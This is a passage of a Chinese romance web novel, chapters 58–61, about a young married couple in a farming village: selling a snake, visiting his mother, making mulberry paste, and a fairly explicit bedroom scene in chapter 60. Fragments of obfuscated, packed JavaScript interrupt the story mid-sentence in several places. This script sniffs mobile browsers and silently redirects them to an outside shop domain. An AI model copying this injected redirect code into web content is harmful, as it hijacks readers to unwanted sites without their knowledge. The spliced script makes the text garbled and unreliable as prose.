“我都喜欢!”向园觉得原耕耘问了个傻问题,“但我肯定更喜欢你。” 真上道!原耕耘满意地笑笑,“为什么?” “因为你是我相公,是和我一起过日子的人呀!”向园攀上去晃晃他的胳膊,“你放心,我分得清亲疏内外的,而且我心胸宽广,不会因为喜欢别人就不喜欢你的。” 好一个心胸宽广!原耕耘乜着她笑。 向园丝毫不觉,“就算有一天,你和楼娘子有矛盾,我也会坚定不移地跟你并肩作战的。” 这是什么神奇的走向? 原耕耘看她说着嫌热,坐远了一点,直接上手拦腰把她掐过来,“并肩作战,来吧,先从赶车开始。” 错晌午的,路上人不多。 走到医馆门口,向园脑袋都耷拉到原耕耘肩膀上了,困的。 “向园,醒醒,等会儿再睡。”原耕耘捏捏她的手。 “嗯?”向园迷迷瞪瞪的,“怎么来这儿了?” “耕耘哥哥,你哪里不舒服?”看到医馆的匾额,她瞬间清醒。 文武膏他们之前都问过了,医馆今年也大量收,跟往年同价。向园还以为原耕耘又病了。 “没有不舒服,我去送个东西,你在这儿等我。”原耕耘提提挎篓,没说里头装的是毒蛇。 向园点头,“我看骡车。” 他们车上还装了好些东西呢。 原耕耘很快出来,捏了两块碎银放进向园手心。 向园一下子精神起来,“耕耘哥哥,你送了什么东西?” 怎么这么值钱,都有二两银子了。 原耕耘牵着骡车转头,“白花蛇,一二三咬死的。还有两个蛇蜕。” 向园吓了一跳,“你昨天在山上遇到蛇了?有没有伤到哪里?” “没有,”原耕耘揣住她乱摸的手,“好了,路上人多,回去再看啊。” 向园瞪眼睛,“我才不是戏弄你,你都不告诉我,多危险啊,白花蛇毒性很大的。”很担心的模样。 原耕耘扭头笑问:“不怕蛇?” 向园摇头。她当然不怕,只是怕蛇咬人而已。 原耕耘:“那下次给你留着。” 光看价格,就知道是好药了。大夫肯定都喜欢。 向园:“……” 倒也不必。 她把银子塞进荷包里,“耕耘哥哥,你一定要听我的,进山前摘一把凤仙花,揉成花汁在身上搓一遍,比什么药都管用。我以前上山采药都会这样做,真不会把肉皮儿染红的,回来一洗味道就散了。” 原耕耘点头,“都听你的,我昨天也涂了的,它都没敢靠近我。”就被射杀了。 向园:“我看看谁家有种子,再多往院子周围撒一些,这种很好活,长得也快,估计一两个月就能长起来。家里是不是有雄黄,我再给你配个香包,你要戴着。还有治蛇毒的药,也得备着……” 遇到这事儿,向园就觉得之前思虑不周,这要是真被蛇咬到,可如何是好。 原耕耘自然也懂一些,不然他在山上跑这么些年,不可能一点危险也没遇到。每次都能转危为安,除了胆大心细外,他也有几手保命的法子。 向园说的这些,他都注意着,不过此时听她说,他只觉得心中熨帖,安安静静听着,无有不应。 向园说的口都干了,原耕耘拿起竹筒递给她,“喝两口,润润嗓子。” 她灌了两口水,递给原耕耘也喝,又突然想起来,“耕耘哥哥,我昨天做了个背袋,是不是还没给你看?” 原耕耘也就着她的手喝了一口,“……没有。” 昨天回去得晚,吃过饭就只顾着忙正事了,自然没机会看。 “回去再看,裙子也没看,晚点一起看。”他道。 向园点头,还是憋不住跟他透露,“可好看了,还很好用。你一定没见过这样的,你看了保准喜欢。回头我再给你缝一个钱袋,用好料子做,肯定会更漂亮。” 她自己也要做一个,能装很多钱那种。 到白石滩时,正是一天中最热的时候,沿路不少人都坐在大树底下乘凉。 向园都不认识,不过不要紧,人家跟她打招呼,她就估摸着年纪,姐姐嫂子、婶子阿婆一路称呼过去。 人家不理他们,她就看原耕耘,他笑她也跟着笑,他不笑她就假装没看见,很有点夫唱妇随的模样。 一直到谷家门口。 这也有几株大树,樊云英他们摇着扇子在树下乘凉,还有几个邻舍,上回见过的邻舍那个叫阿三的,还有隔路那家闹口角的,也都在。 向园认门了,还记得上回原耕耘说过的话,隔老远就喊,“娘!”扭头瞅瞅原耕耘,他不吭声,她只好又喊,“爹!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她跑过去收拾篮子和布袋:“娘,这是山药,你熬粥喝。这是干笋子,这是干菌子,耕耘哥哥采的,我晒干的,泡一泡炒菜炖汤可鲜了。这是枣子,这是红糖,这是银耳,这是鸡蛋,你每天早晚煮水喝。我逮了好多小鸭小鹅,现在都放在水塘里……我昨天还腌了咸鸭蛋,等腌好了送来你和爹尝尝。” 向园唠唠叨叨说着,先不说樊云英如何,单是乘凉的邻舍看了,都没人敢说樊云英运道不好。 改嫁了,新丈夫家道富裕,为人体贴不说,留在上家的儿子还能这么孝顺。 儿子娶了媳妇,模样少见的标致不说,性情也贤淑,还肯跟婆婆亲。 怎么什么好事都给她遇上了。 樊云英也高兴,对上邻里又羡慕又嫉妒的眼光,她假意嚷道:“什么都给我送来,你们过日子吃什么用什么?旁边就是集市,我们买什么都方便的,家里什么都不缺,你正是长个子、补身体的时候,该留着自己吃的。” 向园摇头,实在道:“娘,家里还有呢,你们使劲儿吃,多吃点。” 樊云英失笑,向园又跟她讲近来发生的趣事,“耕耘哥哥昨儿个打了一头鹿,可活泼了,得一二三一起才能看住它。哦,一二三就是大黑、二黄、三白。但是三白好像不太爱干净,见天滚得脏兮兮的,我们就喊它三花了……” “三花?”樊云英念叨一句,又扭头瞅瞅原耕耘。 当初她就说,明明是黑白花儿的狗,就是排也得先排花字,怎么取了这么个名儿。 人家也不吭声,直接喊三白,喊得狗都认了名字了,才往家里带,生怕她给改名似的。 现如今,不还是得叫三花? 可见卤水点豆腐,一物降一物。 她拉着向园的手,笑道:“三花好,三花好,就该叫三花的,还是园园会取名。” 向园:“……” 她还怕三白是娘取的名儿,她突然改了她会不高兴呢,特地解释一番,这么容易就过啦? 原耕耘:“……” 原耕耘点点下巴,示意她看着路,别叫门槛绊倒了。 59. 第 59 章 到屋里,樊云英才道:“我寻思入夏了,给你俩做了两身衣裳,还想着明儿一早去草市桥赶圩顺便送过去呢,你们就来了。” 谷敬端了茶水进来,樊云英给他们倒水,“来也不赶早不赶晚的,这样大日头,中暑了可怎么好。” 原耕耘也不拐弯抹角,“家里有些事忙,想接娘回去住几日。” 向园刚接过杯子刚喝一口,就被原耕耘这直白的话惊得咳起来。 樊云英眼睛一亮,这还不到一个月,就要接她过去忙,这是…… 她不由看向向园,目露惊讶。 谷敬也有些诧异,赶忙出去换茶水,有了身子,喝红糖水肯定没错。 向园还在咳嗽,没注意到他们的眼神。 原耕耘注意到了,知道他们想歪了。 他一边给向园顺背,一边解释道:“是我接了个活计,接下来有段日子都要进山去,可能要三不五时的在山上过夜,向园一个人在家太孤单,要是娘腾得开手的话,我想请娘过去陪她几天。” 这样啊!虽然惊喜没了,樊云英倒也没太失望,她和谷敬正值盛年,成婚半年多也没个喜信儿,更何况俩成亲还不满一个月的孩子呢。 至于儿子央的这个事儿,更加没问题了。谷敬这几日就要出门一趟,她们娘儿俩一起,正好做伴儿。 不过樊云英也没直接就跟他们回去。 上午定下契约,原耕耘就顺便请陆阿公看了个日子,定下初十开工,谷敬是十一这日出门。等初九或是初十,他出门前,再送樊云英过去。 原耕耘和向园回到家,时间已经不早。 他们买了框锯,斧头和麻绳,大坛小罐等杂七杂八的,原耕耘卸下来,就去村里还骡车。 还有上午出面的几位长辈,也得过去打个照面。原本参与这种事儿,该留人吃饭的,但是大家看他们俩年轻,他们这么些人,怕家里没人帮着操持帮衬,都不愿留饭。 鹿被困了一天,看着蔫头耷脑的,向园开了大门走过去,它正可有可无地啃那一筐草,晌午灌满的一槽水,它也没喝多少,向园摸了摸,被日头晒得温嘟嘟的,怪不得它不愿喝。 “走吧,乖乖的哦,带你出去放放风。”向园牵住麻绳,召唤一二三跟上,一人一鹿三狗往水塘上边一点的溪边去。 水塘里的水也算清澈,不过近来常被大鸭大鹅大狗扑腾,就比山溪差一点,反正有工夫,也就是多走两步路的事儿。 梅花鹿还算听话,也不探着头吃青草,也不撑着绳子乱跑,乖乖跟在向园身后。 看来是真的渴了,刚到溪流边,向园放松一点绳子,小鹿就奔过去,伸着头,嘴巴探进水里,舌头卷了半天,才意犹未尽地抬起头来,大眼睛看着都湿润不少。 向园想着这下应该喝饱了,就拉着它往出走,梅花鹿这回可不那么乖了,绷直脑袋挣扎着,下游嬉水的一二三都警觉起来,汪汪叫了几声示威,大黑干脆奔过来,作势要咬,梅花鹿还挺委屈,可怜巴巴地看一眼,又埋头喝水。 向园也不着急,等它喝饱喝足了,才牵到桑林里。 早上他们刚摘过的三棵桑树,有一棵离别的树比较远,有许多叶子垂下,向园对着比了比,觉得最低处的枝叶鹿能够到,就把小鹿拴到桑树上,让大黑和三花看着,她带着二黄回去鼓捣桑葚。 时间够久,大青石也够沉,他们二人回来的时候,向园就去大缸边儿上看过。 桑葚汁已经滤得差不多了,笸箩虽还在往下滴水,但间隔时间比较长,算是压得比较彻底了。 她用大水瓢舀桑葚汁往锅里倒。 一筐再加一篮桑葚也只挤压过滤出来大半缸汁水,倒进锅里,是满满一锅。这么多汁,向园估摸能熬出两三罐膏来。 原耕耘在村里串完回来,桑葚汁都煮起来了,还没煮沸,煮沸前要用中火,煮沸后就得小火了,这么长时间,向园就在后锅蒸饭,小炉子上炒菜。 原耕耘插空去割油菜籽。 油菜籽都熟了,不是很干,很多人家都打算再等两天,太阳再晒晒,割下来直接摊到打谷场上,不用守多久就能打粒。 原耕耘想着两块地,初十入山之前打完,这样向园和樊云英在家里就不用再操心这个。 这院子没有晒场,原耕耘早两年把最后一楹琴房前头的地碾平了,收谷子小麦的时候就在这儿晒。 菜籽也都堆在这里。 不然弄到那边二楼露台也可以,只是还要背来背去,有些费事,不如一气在这边割完晒干脱粒来得方便。 向园用桑葚汁熬膏,剩下的果渣也不能浪费,摊开在笸箩上,等风干了磨成粉,不论是加到面粉里蒸馒头还是冲水喝,或者用来包汤圆,都是好料。 主要是还有药性,滋阴补血,生津润燥,吃一些对身体好。 都忙了一天,向园晚饭就做得扎实。蒸米饭,配莲藕猪骨汤,还有一个炒猪肚,一个炒青菜。 猪骨是在草市桥买的,他们经过得晚些,肉铺里没多少好肉了,向园就挑了几块大骨头,又挑了个肚子,拿来爆炒。 原耕耘头一回这样吃,以前肚子都拿来炖汤了,味道一言难尽,所以他不爱吃猪肚,猪肺。 这样炒着,很脆生,又很有嚼劲,他挺喜欢,就着吃了两大碗米饭。 他吃得高兴,向园也觉得有成就感,“等青椒结果了,我再给你炒,这个配青椒炒最好吃。” 原耕耘期待起来。 吃过饭,向园看看锅,文武膏熬得差不多了,她退了火,就这样浸一夜,等明天膏凉了再装罐。 简单冲洗过,原耕耘打了水两人泡脚。 踩进微烫的水盆里,向园才想起来背袋,“耕耘哥哥,在针线筐里,你拿来,我给你瞧。” 脚沾了水,她不想踩湿鞋子,就指使原耕耘。 原耕耘正提着热水进来,他们泡脚都爱边泡边添水,多泡一会儿,解乏。 他放下水桶,去拿针线筐子,就在床尾,一伸手就能够到。 上层的小笸箩掀开,映入眼帘的就是一只大老虎,瞧着又萌又凶的。 原耕耘摩挲了下,拿出背袋,这才看出完整面目,“你怎么想出来做成这个模样的?” 虎头前后兜上都有,挂在肩上,跟褡裢有些像,却明显比褡裢实用。 凡事都有定例,很多人都会在原有的基础上模仿,即便超越也很难脱开窠臼,向园很有巧思。 “你看那些背袋要么能装不好背,要么好背不能装,褡裢也是,我每回瞧见人家那样背,口大咧咧敞着,都会想,难道就不怕东西丢了。而且扁平扁平的,随便装个什么,人家就能瞧出来。这样是不是就好得多?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593033|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 向园说着,招手道:“耕耘哥哥,快来,水正好。” “嗯。”原耕耘坐下,也没舍得把背袋取下来,就那样背着,看着跟挂手巾的店小二似的。 他把向园的脚提到膝上捏起来,看着更像了。 “耕耘哥哥,你真的不要我给你也捏吗?” 向园如今习惯被他这样伺候,不会觉得不自在,但还是会问一问。 原耕耘不需要,手上下劲,捏得向园摊在床上,出了一身汗。 “花样子呢,也给我看看,别等夏天都过去了,你的裙子还没裁出来。” 向园差点就忘了。 “我可以等到秋天再穿。”她道。 反正秋天也很热。 “明年再穿也行。” 反正她还要长个儿,明年做还省事了,还能省料子。 而且娘已经给她做了两套衣裳了,她就是不做,这个夏天也有得穿。 衣裳原耕耘见过,他也有两套。樊云英的手艺自然是好的,眼光也很高,两套衣裙很好地妆点了她的容颜。 但既然她有中意的花样,还是得做两套。今年不穿,明年不穿,等七老八十再穿吗?那时候再穿也不是不行,可当下喜欢的当然当下就要穿。 向园被他捏得一身疲乏顿消,却又懒得动弹,蛄蛹着身子挪到床边,也不起来,贴在床上侧着身子掏。 原耕耘被她这懒样子逗笑,把她左脚放下,换另一只脚。 东西放的有层次,向园还没摸着,原耕耘自己就瞧见了,他抖抖她的腿叫她坐直,擦干手自己拿那图纸。 纸上并不如他所想,是花啊草啊的纹样图案,她说的花样子,是指裁剪样式? 原耕耘看了看,觉得没有一个她穿着不好看的。 袖子都是窄袖,大概是为了方便干活。围腰都没有,不知道是没画还是她不喜欢穿。 他提出建议,“这个衫子可以做成大袖。” 向园懒洋洋探头瞧,原耕耘倾着纸给她瞧。 “好!”向园也觉得做成大袖好看,“我再做个襻膊。” “这个腰身这里放一放,裁短一些,可以做寝衣,用那个蓝绉纱做,凉快。” 原耕耘的体温确如他自己所言,冬暖夏凉,冬暖向园还没体会过,夏凉是真的。 她就不一样,无论冬夏,她都跟个小火炉一样,这几天见天都往原耕耘身上贴。 “好。”向园点头,“那还可以给你做个背心短裤。” 背心做的小一点,短裤做得短一点,穿着衣裳贴贴,凉快还安全。 她心里这小算盘打得啪嗒啪嗒一阵响,原耕耘隔着肚皮都听见了。 他冲凉之后都是光着膀子睡的,裤子看情形,当不穿则不穿。向园这是贪他的整体凉意,还嫌弃他局部灼热。 “我不需要寝衣,你再多给自己做一件纱裙,有个替换的。” 不穿寝衣啊!也行,背心可以不做,只做一条短裤,还省料子了。 向园眼珠子骨碌碌转两圈,又躺倒了。反正今天也做不出,明天再想吧。 原耕耘手上动作不停,心思早已飞到天外。 论打算盘,他一点也不输向园。 不是怕热吗? 那就别穿了。 一会儿再冲一遍凉,不怕她不贴上来。 60. 第 60 章 原耕耘拴上门,又洗了一遍手,向园还像条鱼一样,扁的一面瘫在床沿。 他倒水前,腿脚给她摆成什么样,现在还是什么样。她一下都没动弹过。 “向园,还热不热?”原耕耘走过去,冰凉的手贴上她的颈侧,“坐过来,我身上很凉!” 向园往里挪挪,“耕耘哥哥,你睡里边吧!” 她一点也不想动弹。 “累着了?”原耕耘觉得不对劲,摸摸她的额头,体温是正常的。 “哪里难受?是不是中暑了?有没有头晕恶心?”他把她抱起来。 向园摇头,“外头这片地被我暖热了,你睡里边,我再往里挪。” 她一看原耕耘的眼神,就知道他想亲她。但是刚刚泡脚,又被他揉捏,出了一身汗,所以还是不要亲了吧。 可这事儿上耕耘哥哥又不听她的,他非要亲的话,睡里头,躲也躲不过,他能把她挤到角落里。睡外头,她还能翻下去,只要动作够快,他肯定捞不着。 原耕耘轻笑出声,“真没难受?” 向园眨眨眼,“难受可以不亲吗?” 原耕耘:“你当我是禽兽?” 虽然很多次他都想放弃理智,做一回禽兽,但到底没真做过。 向园摇头,“你就睡里头嘛!你躺好了,我来亲你。” 浅浅亲一下,就乖乖睡觉。 原耕耘只好迈进里侧,侧身朝外躺下。 向园翻了个身,往上拱拱,睁着眼睛闭着嘴巴贴了上去。 过于敷衍,原耕耘一眼看穿,他不动,任她贴贴蹭蹭。 几息后,向园完事,天真无辜地道:“好了,耕耘哥哥,今天亲完了,我们睡觉吧。” 原耕耘嗤笑出声,“向园,幸好你不是男人。” 向园投去一个疑惑的眼神,很快被原耕耘带着刀光剑芒的眼神吓得闪躲,刀刃剑刃上都冒火星子了。 “耕耘哥哥,你别这样笑,这太像笑里藏刀了,怪吓人的。”向园捂住他眼,自己也闭上眼,“睡了睡了,明天再好好亲。” 原耕耘拉下她的手,贴在胸膛上,直接躺平了问:“热不热?热就过来。” 向园睁开一只眼睛瞄了瞄,见他眼睛闭着,是认真睡觉的架势,当即就凑近,“热的热的,一起睡。” 她换了个姿势,斜斜趴在他身上,脑袋贴在他的胸膛上,耳朵凉丝丝的,很舒服。 原耕耘下巴蹭蹭她盘旋在脑顶的单螺髻,最近都在用绳子绑,松松绑一下盘一下,既好看又不勒头皮,还不会散落,她睡觉都不解开,第二天随便绾几下别上发簪或包个头巾就行。 “向园,你碰到我了。”原耕耘声线低沉。 “碰到哪里了?”向园微微仰起脸。 她刚刚都没怎么动弹呢,只动了动……耳朵? 原耕耘没回,摸了摸她的嘴巴,又碰了碰她的耳朵,让她自己猜。 向园突然想起来,动耳朵确实是会碰到他的,她支起上半身,照着碰到那一点轻轻吹了吹,正要扯原耕耘的胳膊当枕头,原耕耘手一用力,把她拽下去。 “刚刚那个不算,你都没有好好亲,现在重新来。”原耕耘翻旧账。 “好叭!”他的嘴巴离这么近,亲一下也还是挺方便的,向园认真了一点,含着他下唇瓣仔细亲了亲。 悬空趴着有点累,但放松砸下去又会磕到牙齿,向园坐起来缓了口气,“这下可以了,我们早点睡吧。” “虎头蛇尾!”原耕耘锐利点评。 向园不服输,又趴下去,光顾之前被她冷落的那片唇瓣。 这个中间有凸起的唇珠,虽然不大明显,但也不如下半唇那样柔软平滑,可以任由舌尖转圈不会遇到阻碍。 向园觉得有点累,亲了一会儿就转移阵地,亲他的下巴。 原耕耘下颌弧度明显,她亲了一圈,最后又轻轻咬了一下,算作收尾。 “好了!”她一副大功告成,终于可以好好休息的腔调。 原耕耘不用睁眼,就知道此刻她脸上带着什么表情。 该是可爱的,又是可恨的。 向园把亲他当成一项任务来完成。 他给她派发新任务,“这里也要。” 他指指刚刚被向园耳朵蹭到的那一点,“两边都要。” 向园想,他也给自己亲过,那给他亲一下应当也是没关系……的吧! 在原耕耘把她挪到身上之前的确没有关系,向园感受到肚皮蹭到什么,就知道问题大了。 “耕耘哥哥,我给你倒杯水喝吧。”她试图临阵脱逃。 “我不渴。”原耕耘勒住她不盈一握的小蛮腰,不给她退缩的机会。 “我渴了,我去喝口水,马上就回来。”向园舔舔干干的嘴巴,她真的好渴。 “你要去哪喝水?”原耕耘扫了扫床头小几,“我把茶壶放那儿了,你坐好,我给你倒水。” 向园左右看看,完了,她已经在床内侧了。 “其实我还想解手。”有些东西简直不能挨,挨一下向园就肚皮发紧,是真的想解手。 原耕耘看她,眼里带着笑意,“嗯,我陪你一起。” 说着,支着半边手肘,当真一副要起身观摩的架势。 向园:“……耕耘哥哥,你真不知羞。” 她又趴了下去。 随便他怎么样吧,反正她是不会让他胡来的。 原耕耘:“我要是知羞,你就等着守活寡吧。” 食色性也,向园已经体会到了身体的欢愉,可她并不贪恋。 大概那样的欢愉,带给她更多的是无措和无助。又或者,是他给她的欢愉,还不够多,不够让她迷恋。 原耕耘憋得胀痛,他还是没动,最后问向园,“还要不要亲?你要是累了,就换我来。” 向园手都懒得摆,手肘支在被褥上,来回蜷蜷手指,全当回应。 原耕耘捞过她手,从手背到指尖,亲吻,舔舐,刚刚蜷缩的那几个,一个也没放过。 向园:“……” 向园惊呆了,她可不像原耕耘那样讲究,“我没洗手。” 不过她手一点也不脏,洗脚都是耕耘哥哥帮她洗的。 原耕耘:“……向园,这个时候你可以不说话的。” 他咬咬她的指尖,去亲她可恶又可爱的嘴巴。手也往上,戳她软绵绵的肚皮。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16597909|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那个位置,他已经摸得清楚,关键时刻,只轻轻触一下,就能让她魂飞天外。 他一遍遍重复向园刚刚对他做过的事情,比她更细致,更温柔,更有耐心,也更加用心。 他要让她知道,这种事情到底该怎么做,至于她愿不愿意学,能不能学会,再说吧。 反正他得教,教到他教不动那天为止。 向园有点受不了,怎么会这样呢,眼睛不受控制地飙出愉悦的泪花,嘴巴不受控制的发出奇怪的声音…… 这是她吗? 这是她啊! 和原耕耘在一起的她。 “耕耘哥哥,这边也要。”向园红唇微张,弓背抬腰的间隙衫子大敞,早已被原耕耘褪到臂弯。 这没什么羞耻的,他都没穿衣服呢。 她想要更多,她往下伸直手臂勾他的脖子,其实他也没有太靠下,她随便一够,就够到了。 只是原耕耘不听她的,闻言也只是顿了一下,就继续埋头做自己的事。 “耕耘,原耕耘,这边,这边也要……” 向园简直想哭出来。原耕耘真是个大坏蛋,他说让她讲心里话,她讲了,他又不听,真是可恨。 原耕耘浑身一震,这三个字从向园嘴里吐出对他就有巨大魔力,吸引着他深陷,沉沦。 衣襟下,纱裙底,她的每一寸好光景,他都要纤悉无遗。 终究要如她所愿,或早或晚,都不如此刻,都不如她刚好想要,他可以给她的这一瞬。 他换了个方向,给她更加盛大的喜悦。 向园满意了,饱足的、慵懒的感觉袭来,呻.吟不受控制的滑出喉咙,可她竟也不很在意。 这样没什么不好的,虽然过程中亦有空荡的、虚无的感受,但也只有体验过无底的空洞,才知道填补自己的刚好是自己想要的,是多么快活的一件事。 如果原耕耘自顾自把她预设的将来定在此刻,向园想,她不会有意见。 她还想,如果她现在有劲儿,如果时间能回到一个时辰前,她一定会耐心一点,会好好对待他,会像他珍惜她这样珍惜他,爱怜他。 她从没认真给过他她享受过的快乐,此刻于她而言,不是亏欠,是遗憾。遗憾于这样的滋味他不曾尝过,遗憾于很多次机会她都没有用心对待。 遗憾,当在认识到的那一秒去弥补。 “耕耘,原耕耘!”向园踢踢他的肩背,腿颤抖,声音也颤抖,“耕耘哥哥,过来好不好,我想抱着你。” 原耕耘抬起头来,看向身下的绝色美人,如初开之昙、半绽之莲,沾着夜露和月光,秾艳和圣洁同时存在,清雅和娇媚一齐展现。 空气如一层纱,模糊他的视线,他小心翼翼探过去,和她拥抱,和她亲吻,和她耳鬓厮磨。 这是他的妻,是他朝思暮想的女人,是属于他也拥有他的人,世间再不会有谁比他们更爱彼此,更贴近彼此了。 他们活着要躺在一张床上,死后要葬在一具棺里。 “耕耘哥哥,我喜欢你。”妻子亲吻丈夫的嘴唇,不再是敷衍的态度,仿着被取悦的姿态去取悦他。 “向园,我爱你。”从很久很久以前开始。 61. 第 61 章 夏日昼长,风清日丽。 向园被檐下筑巢的一窝燕子搅得睡不着觉,她翻身起床,从堂屋绕去梨树底下做针线。 西屋前头是老大一架葡萄,根茎都有成人小腿粗,只是这会儿叶子长得不够茂盛,还不到可以乘凉的程度,向园更喜欢草堂前头的梨树。 正午时刻,树下铺出一片绿荫,枝繁叶茂间,团团小果冒头,颜色青翠,让人看着就觉出那份酸和涩来,又心存期待,盼着梨子成熟,该是怎样的甜。 眼下向园缝的是一条汗巾,给原耕耘做的。 有樊云英这个绣活好的帮衬,向园的衣衫、裙子都已做好,可惜他至今也没回来一趟,弄得她穿上都没心思显摆。 出神间,一个个青头小果印在巾子上,向园捞起来看。 这擦汗束腰的巾子,本没打算绣花样的,可真绣上去了,倒也清新别致,看着就觉出夏日的清凉来。 也不知道耕耘哥哥他们怎么样了。 向园心里惦念。 初九那日,谷敬就送了樊云英过来,初十原耕耘他们上山开工,十二那天晚上才下来,说是够两筏了,要先运下来,不然怕下雨起了山洪把杉木都冲跑。 十三一早他们又上山去,今日十五,算来已有三天,也该回来了。 原耕耘不在家,樊云英和向园娘儿俩作伴,日子也渐渐规律起来。 晨起鸭鹅撒到水塘稻田里,梅花鹿拴在桑树上,一二三就能看住它们。 竹林里越发喧闹,小虫、蚱蜢、蛐蛐多了起来,两人又扎竹子在水塘上头一点围了个篱笆。把鸡撵进竹林里,它们自己就能找食儿吃。 如今家里牲畜虽多,却不麻烦,一天喂一顿就够了,唯独找鸡蛋有些费事。 鸡爱飞爱跑,比鸭鹅难拘束,她们篱笆围得宽,鸡也就到处跑着下蛋,没个固定的点,尤其这一群还喜欢把蛋藏起来。 向园和樊云英找的时候,得拿个棍子一边翻一边寻,比打草惊蛇还细致,生怕稍不注意就把蛋踩碎了。 攒几天攒得鸡蛋多了就去村头早市上寻摸一圈,换点东西。鸭蛋不换,鸭蛋继续腌上。鹅蛋也不换,向园都存着,等原耕耘上山前,把鹅蛋都煮了,让他带上去做干粮。 除去原耕耘不在家让人惦记这点,娘儿俩日子倒也过得有滋有味。 “园园?园园!”樊云英打着呵欠从草堂出来,显然是刚刚醒来。 她原来的屋子通着灶房,一烧火,她那间就跟火炉似的,住不下人。 这灶除了烧洗澡水,夏天本来不怎么用的,但因最近要熬文武膏,灶棚底下的锅不够用,就把灶房那口灶也用上了。 向园本来想着耕耘哥哥上山去了,两人一起睡也好。但樊云英清楚自己儿子的狗脾气,才不会去住他俩的屋,睡他俩的床。 向园就请她去草堂住。 好在草堂很凉快,大夏天住里头比樊云英原来那间屋还舒服。 “怎么大晌午还在做针线?也不歇一会儿?”樊云英走到近处。 “娘,你醒了?我不困。”向园说是不困,面上却像叫樊云英传染似的,跟着就打了个呵欠。 樊云英噗嗤一笑,凑过来瞧她手里的针线,“这是要做个汗巾子?我来,你去躺会儿,等会儿阿七他们也要过来了。” 没有人往汗巾子上绣梨子的,还绣得跟小葫芦似的,向园不好意思叫樊云英瞧见,往怀里藏了藏,“娘,我都做好了。” 樊云英看巾子的颜色,猜想应该是给原耕耘做的,也就不再瞧,揪着一双鞋底子,开始纳鞋。 是给向园做的。 原耕耘成家了,他的衣裳鞋袜有媳妇儿操心,樊云英就放手不管了。但向园年纪小,针线做得好归做得好,还没那么熟练,给原耕耘做就占去不少时间,自己反倒顾不上了,樊云英就多给她做两件。 她花一般的年纪,花一般的面庞,正适合穿些漂亮的衫裙鞋袜作为点缀。樊云英穿针引线,面上满是和煦满足的笑。 正说着,阿七他们来了。 阿七他们一般早起吃过饭来,等太阳升高了回去,下午歇过晌再来,太阳落山前回去。 八个小孩儿可厉害了,见天比赛似的,看谁摘得多摘得好。 不过都是一样的年纪,一样活泼机灵,互相之间大差不差,基本上上午一个人能摘三筐,下午就多点,能摘五筐。 当然,他们这个筐子是打了折扣的,两筐也就能熬出一罐膏来。 小孩子骨头嫩,摘果子还行,让他们扛着背筐来回跑就不成了,所以他们都是提着小篮子摘,摘满了倒进筐里。 那筐子也就有原耕耘那天用的一半大,都是原耕耘新编的。 八个大小适中的筐子,标上号,排成一排,各人记得自己的号,摘满一篮了就倒进筐子里,谁的够一筐了,向园就给他记上一笔,等晚上一起算钱。 这也很了不得了,每个小孩一天摘八筐,一筐两文钱,是十六文钱,八个小孩就是一百二十八文钱。 向园的文武膏还没往外卖,工钱就贴出去不老少,她又不积着最后才给人发,都是当天结束当天发。 小孩儿们的爹娘可高兴坏了,孩子真是出息了,玩着就把钱挣了,见天还美得屁蹦一样,从不嚷着叫累。 不仅高兴,还省心。 大夏天的,小兔崽子们就爱往河里窜,大人们得不错眼盯着,一眼没看住,就跑没影了。 今年有这么个好活计,又能放娃又能挣钱,真是天上下馅儿饼,砸他们头上了。他们只盼着桑林里的桑葚摘不完才好。 当然他们也有烦恼,小孩儿是会挣钱,但小孩也会藏钱呢,也不知道都把钱藏哪去了,除了头两天的工钱他们还能抠走点之外,这几天,崽子们都学精了,回家就是把他扒光了也找不出半个铜板来。 小孩儿们也能得很,钱不在爹娘跟前露眼,转眼就拿着跟小伙伴显摆去了。 货郎来了,糖人也舍得吃,玩具也舍得买,有些厉害的,还拿着钱去村头买肉打豆腐呢。回家可阔气了,“娘,我买的肉/豆腐,晌午烧了吃。” 把个老子娘气的,打又打不得,骂又不能骂,见天含泪吃肉。主要儿子的孝敬太贵了,扎心又扎嘴啊。 这也惹了一些人的眼。阿七他们连着几天上工,都带了钱回去,之后就有不少大人来问,还收不收人。 他们都不用两个铜板,一个铜板一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602511|176663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筐就行,或者两个铜板换大筐也行。 向园一律拒绝,几个小孩干活仔细,他们也没把这当活干,玩着就把桑葚摘了,还很有效率,刚好供得上她和樊云英两人熬煮,她们也不至于太累。 双方现在就配合得挺好,她不打算多招人或者换人。 几人失望而归,不巧这事儿正被阿七几个撞见。 这可算是惹到刺头了,前儿早上他们来问的,晌午就有人不小心踩到狗屎,傍晚去河边洗衣裳,又有人被溅了一身水。 